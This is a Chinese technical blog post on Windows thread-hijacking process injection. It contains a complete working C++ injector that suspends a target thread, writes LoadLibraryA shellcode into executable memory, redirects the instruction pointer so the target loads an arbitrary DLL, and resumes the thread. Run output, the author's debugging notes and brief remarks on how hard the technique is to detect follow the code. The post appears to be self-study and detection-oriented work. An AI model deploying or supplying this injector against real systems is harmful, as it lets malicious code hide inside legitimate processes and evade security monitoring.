windows进程注入技术——线程劫持C++示例和检测思考

线程劫持:运行方法

1
2
3
C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe 18132 C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
Process ID: 18132
Injected!

  

劫持效果:

 

劫持代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <system_error>
 
 
constexpr SIZE_T PAGE_SIZE = 1 << 12;
 
 
/// <summary>
/// Print the human-readable error message cause while execution of the function and exit if TRUE
/// </summary>
/// <param name="lpFunction">Function name caused error</param>
/// <param name="bExit">Whether to exit after printing error or not (TRUE/FALSE)</param>
VOID PrintError(LPCSTR lpFunction, BOOL bExit = FALSE) {
    DWORD dwErrorCode = GetLastError();
 
    std::cout << "[" << dwErrorCode << "] " << lpFunction << ": ";
    if (dwErrorCode == 0x0) {
        std::cout << "Undefined error\n";
    }
    else {
        std::cout << "error code:" << dwErrorCode << std::endl;
    }
 
    if (bExit) {
        ExitProcess(1);
    }
}
 
HANDLE GetFirstThead(DWORD dwPID) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0);
    HANDLE hThread = NULL;
 
    THREADENTRY32 te{};
    te.dwSize = sizeof(THREADENTRY32);
 
    if (!Thread32First(hSnap, &te)) {
        CloseHandle(hSnap);
        return hThread;
    }
 
    do {
        if (te.th32OwnerProcessID == dwPID) {
            // SET_CONTEXT is used to change the values of the registers
            // GET_CONTEXT is used to retrieve the initial values of the registers
            // SUSPEND and RESUME are required because instruction pointer can not be changed for running thread
            hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
            if (hThread != NULL) {
                break;
            }
        }
    } while (Thread32Next(hSnap, &te));
 
    CloseHandle(hSnap);
    return hThread;
}
 
 
BOOL DoInjection(HANDLE hProcess, HANDLE hThread, LPCSTR lpDllPath) {
#ifdef _WIN64
    BYTE code[] = {
        // sub rsp, 28h
        0x48, 0x83, 0xec, 0x28,
        // mov [rsp + 18], rax
        0x48, 0x89, 0x44, 0x24, 0x18,
        // mov [rsp + 10h], rcx
        0x48, 0x89, 0x4c, 0x24, 0x10,
        // mov rcx, 11111111111111111h
        0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
        // mov rax, 22222222222222222h
        0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
        // call rax
        0xff, 0xd0,
        // mov rcx, [rsp + 10h]
        0x48, 0x8b, 0x4c, 0x24, 0x10,
        // mov rax, [rsp + 18h]
        0x48, 0x8b, 0x44, 0x24, 0x18,
        // add rsp, 28h
        0x48, 0x83, 0xc4, 0x28,
        // mov r11, 333333333333333333h
        0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
        // jmp r11
        0x41, 0xff, 0xe3
    };
#else
    BYTE code[] = {
            0x60,
            0x68, 0x11, 0x11, 0x11, 0x11,
            0xb8, 0x22, 0x22, 0x22, 0x22,
            0xff, 0xd0,
            0x61,
            0x68, 0x33, 0x33, 0x33, 0x33,
            0xc3
    };
#endif
    if (SuspendThread(hThread) == -1) {
        return FALSE;
    }
 
    LPVOID lpBuffer = VirtualAllocEx(
        hProcess,
        nullptr,
        PAGE_SIZE,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    if (lpBuffer == nullptr) {
        ResumeThread(hThread);
        return FALSE;
    }
 
    CONTEXT ctx{};
    ctx.ContextFlags = CONTEXT_ALL;
 
    if (!GetThreadContext(hThread, &ctx)) {
        ResumeThread(hThread);
        return FALSE;
    }
 
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    if (hKernel32 == NULL) {
        ResumeThread(hThread);
        return FALSE;
    }
 
    LPVOID lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
    if (lpLoadLibraryA == NULL) {
        ResumeThread(hThread);
        return FALSE;
    }
 
#ifdef _WIN64
    * (LPVOID*)(code + 0x10) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
    *(LPVOID*)(code + 0x1a) = lpLoadLibraryA;
    *(PLONGLONG)(code + 0x34) = ctx.Rip;
#else
    * (LPVOID*)(code + 2) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
    *(LPVOID*)(code + 7) = lpLoadLibraryA;
    *(PUINT)(code + 0xf) = ctx.Eip;
#endif
 
    if (!WriteProcessMemory(
        hProcess,
        lpBuffer,
        code,
        sizeof(code),
        nullptr
    )) {
        ResumeThread(hThread);
        return FALSE;
    }
 
    if (!WriteProcessMemory(
        hProcess,
        (CHAR*)lpBuffer + (PAGE_SIZE / 2),
        lpDllPath,
        strlen(lpDllPath),
        nullptr
    )) {
        ResumeThread(hThread);
        return FALSE;
    }
 
#ifdef _WIN64
    ctx.Rip = (ULONGLONG)lpBuffer;
#else
    ctx.Eip = (DWORD)lpBuffer;
#endif
 
    if (!SetThreadContext(hThread, &ctx)) {
        ResumeThread(hThread);
        return FALSE;
    }
 
    ResumeThread(hThread);
    return TRUE;
}
 
INT main(INT argc, CHAR** argv) {
    // C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe pid C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
     
    if (argc < 3) {
        std::cerr << "usage: " << argv[0] << " PID DLL_PATH\n";
        return 0x1;
    }
 
    std::cout << "Process ID: " << argv[1] << std::endl;
    DWORD dwPID = atoi(argv[1]);
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    strcpy_s(wzDllFullPath, argv[2]);
 
    /*
    DWORD dwPID = 11740;
    CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";
    */
 
 
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID);
    if (hProcess == nullptr) {
        PrintError("OpenProcess()", TRUE);
    }
 
    HANDLE hThread = GetFirstThead(dwPID);
    if (hThread == NULL) {
        PrintError("GetFirstThead()", TRUE);
    }
 
    // wzDllFullPath = argv[2];
    if (!DoInjection(hProcess, hThread, wzDllFullPath)) {
        PrintError("DoInjection()", TRUE);
    }
 
    std::cout << "Injected!\n";
 
    return 0x0;
}

  

 

DLL代码参考:https://www.cnblogs.com/bonelee/p/17705390.html

 

为了了解原理,我自己debug了下,因为dll路径不正确,导致劫持无效果,因此有了下面的调试过程:

先是被劫持后的exe内存情况,可以看到执行“劫持”代码的内存分配,其中1和2是关键!

对应下面shellcode:

 

2是程序劫持完以后要返回源程序!所以要修改rip:

 

 

但是代码执行完,

 

却没有实现真正的劫持效果:

 

 

 

不用记事本,我们单独写一个程序调试下:

写一个sleep程序,然后断点:

 

 

可以看到在没有运行resume thread前,sleep的程序果然挂住了!如上图所示。并且劫持的程序结束以后,sleep程序会继续正常向前运行。

 

为了找到问题所在:设置一个断点,然后执行完resume thread看看:

 还是成功断住了!

跟进去调用dll的地方

 

可以看到确实是调用了该dll!但是为什么没有弹出messagebox呢?

并且动态加载的模块里也没有该dll:

怀疑是我的路径字符串出错。实际运行发现并没有问题:如下

 

 

我++,SB了,原来是我自己的DLL路径不对!!!更换正确的DLL路径即可实现劫持效果!

如下:

 附下:

sleep调试进程代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>
 
int main()
{
    std::cout << "Hello World!\n";
    DWORD pid = GetCurrentProcessId();
    std::cout << "当前进程的PID是: " << pid << std::endl;
    int i = 0;
    while (1) {
        SleepEx(3000, true);
        std::cout << "You are done? " << i;
        i += 1;
    }
    std::cout << "Exit!\n";
}

  

检测:

可以看到是直接修改进程上下文,GetThreadContext、修改rip以后,然后SetThreadContext再resumethread,让其执行注入的shellcode!

所以这种劫持情况,上述几个os api的hook性价比有点低。检测起来也比较隐蔽。GG!!!

 

posted @   bonelee  阅读(1070)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2020-09-19 理解未知威胁——是针对签名的防护来说,签名绕过太容易,需要基于行为提供泛化能力更强的检测算法(AI)==>已知的未知威胁+未知的未知威胁
2019-09-19 IPS检测
2017-09-19 IPS
2016-09-19 字符串匹配的sunday算法
点击右上角即可分享
微信分享提示